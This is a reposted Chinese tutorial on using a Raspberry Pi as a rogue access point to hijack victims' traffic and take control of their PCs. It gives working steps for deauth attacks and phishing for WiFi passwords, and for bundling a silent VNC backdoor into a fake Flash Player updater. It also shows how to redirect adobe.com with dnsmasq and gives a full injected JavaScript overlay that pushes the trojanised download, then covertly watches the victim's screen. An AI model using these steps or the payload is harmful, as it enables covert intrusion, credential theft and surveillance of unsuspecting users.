導讀

上文講解了樹莓派隨身工具箱的環境搭建，這段時間又對其進行了一些優化，主要是從便攜美觀上面改進。同時，在實際使用中發現了一些問題，並做了小小的改動。

傳統的中間人攻擊要用到arpspoof等敏感操作，大多數情況下會被殺毒軟件攔截，同時被攻擊端會出現亂碼，網速卡頓甚至掉線等現象。而利用樹莓派搭建物理中間人則可以有效避免以上現象。樹莓派一個網卡用來接入互聯網，另一個網卡作為熱點，進行客戶端劫持，使目標流量都經過自身。

前期準備

1.）整體思路

本次滲透測試采用誘導安裝的方法，通過中間人劫持的方式在網頁註入js，彈出蒙版層，誘導用戶下載捆綁後門的FlashPlayer更新程序。

劫持方法比較多，粗略的列舉一下：

1，萬能鑰匙類軟件可以解開:

I、獲取目標路由器操作權，修改WiFi配置，樹莓派偽造路由器之前的熱點。

II、目標路由器支持中繼的話，直接修改，將其作為中繼使用，上遊設備為樹莓派。

2、萬能鑰匙類軟件無法連接：

I、發送deauth攻擊，阻斷客戶端與目標路由器的連接，同時樹莓派偽造熱點，通過配置樹莓派dnsmasq.config 啟用no-pool，開啟webserver並配置404頁面，實現客戶端接入後自動彈出頁面，誘導用戶輸入WIFI密碼。

II、樹莓派抓取握手包，丟在淘寶十五大洋搞定。

III、社工方式接觸路由器，快速的按一下wps按鍵。

2.）生成後門程序

最好的後門就是那些常見的軟件，永遠不會被殺毒軟件幹掉。比如ftpserver、Sunlogin oray、VNCserver等。這裏選擇tight-vnc-server，小巧便捷；後門生成需要借助7-Zip SFX Maker、Resource Hacker、Regsnap等工具的幫助。首先在本地安裝完畢，然後對比註冊表和文件變化，最後提取出來，精簡核對後與FlashPlayer一起打包，實現後臺靜默安裝。然後就是拿到各個環境裏面測試，再針對性的進行修改。

測試完畢後將後門程序放在Apache根目錄，同時在下文的js裏面指定具體位置。

3.）配置dnsmasq劫持adobe.com指向本地

修改 /etc/dnsmasq.conf 增加

address=/adobe.com/10.0.0.1

然後 service dnsmasq restart重啟dnsmasq使配置生效。接著service apache2 start 啟動Apache

4.）安裝並配置軟件

root@kali:~# apt-get install fruitywifi-module-fruityproxy
root@kali:~# service fruitywifi start

訪問：http://你的樹莓派地址:8000 用戶名和密碼都為admin

config設置如下圖：

IN是提供AP接入點的網卡 OUT是連接上外網的網卡，可根據實際情況配置。

5.）實施滲透

各項準備完畢，目標設備流量已全部經過樹莓派。

首先運行bettercap對所有流經樹莓派的流量進行嗅探，粗略的了解下對方網絡流量情況（一些常用的命令可以事先寫成腳本，方便使用）

bettercap -I wlan1 -O log.txt -X -L -S NONE

通過網絡流量以及nmap掃描可以很快的確定對方主機的IP地址。然後在主機發生網絡訪問的時候開啟fruitywifi Inject模塊。

在 status→fruityprox edit→Inject裏面寫入要註入的js腳本，實現誘導下載。

<script>(function(a){window.isMobile=false;if(/(android|ipad|playbook|silk|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){window.isMobile=true}else{setTimeout("showDiv();",2000)}})(navigator.userAgent||navigator.vendor||window.opera);document.writeln("<div><style type=\‘text/css\‘>body{overflow:hidden;height:100%}.popWindow{background-color:#9D9D9D;width:100%;height:100%;left:0;top:0;filter:alpha(opacity=50);opacity:0.5;z-index:8900;position:absolute}.maskLayer{background-color:#636365;box-shadow:0 0 15px#393838;padding:10px;width:220px;line-height:30px;left:50%;top:50%;margin-left:-100px;margin-top:-100px;color:#ea8726;z-index:9000;position:absolute;text-align:center}</style><div id=\‘popWindow\‘class=\‘popWindow\‘style=\‘display: none;\‘></div><div id=\‘maskLayer\‘class=\‘maskLayer\‘style=\‘display: none;\‘><p>頁面檢測到您的Flash Player版本太低，請下載並安裝更新！</br><a target=\‘_blank\‘href=\‘http://get.adobe.com/flashplayer/flashplayer29_va_install.exe\‘onclick=\‘closeDiv()\‘style=\‘cursor:pointer;text-decoration: none;\‘><input value=\‘下載更新\‘type=\‘button\‘></a></p></div></div>");function showDiv(){document.getElementById(‘popWindow‘).style.display=‘block‘;document.getElementById(‘maskLayer‘).style.display=‘block‘}function closeDiv(){document.getElementById(‘popWindow‘).style.display=‘none‘;document.getElementById(‘maskLayer‘).style.display=‘none‘;document.body.style.overflow="visible"}</script>

註入的script不能有換行，所以需要提前把代碼壓縮一下。本機測試樣式如下：

註入完畢後腳本會自動檢測當前瀏覽器是移動端還是pc端，如果是PC端就延遲三秒，然後彈出蒙版同時誘導下載，用戶點擊後，關閉蒙版，恢復對頁面的操作（亦或者一直阻止對頁面的操作）。手機端就什麽也不做。並且由於事先在樹莓派上配置好了dnsmasq 使默認dnsserver以及dhcpserver都指向樹莓派，加上adobe域名的劫持，客戶端看不出太大的端倪（下載地址是http而不是adobe默認的https，不過這已經足夠騙過很多人了。）

6）.檢查執行情況

每隔一段時間就對目標IP進行一次nmap掃描，當發現5900端口開放的時候，就可以確認滲透完成，此時關閉Inject模塊。

附圖·-安裝過程：

後門程序和tvnserver同步安裝，縱使發生意外情況，tvnserver安裝失敗，在flashplayer安裝程序進程結束後還會進行安裝情況檢查，並嘗試第二次安裝（不安裝為系統服務，使用用戶模式）。

7.）enjoy

使用vncviewer進行連接，目標主機全程無提示，無小圖標。還可以在不影響目標主機的情況下觀察對方屏幕。

嗯，不要懷疑。我在醫院數據中心工作。負責維護系統的安全。

謹此，獻給各位。

[轉載]樹莓派隨身工具箱：中間人劫持獲取控制權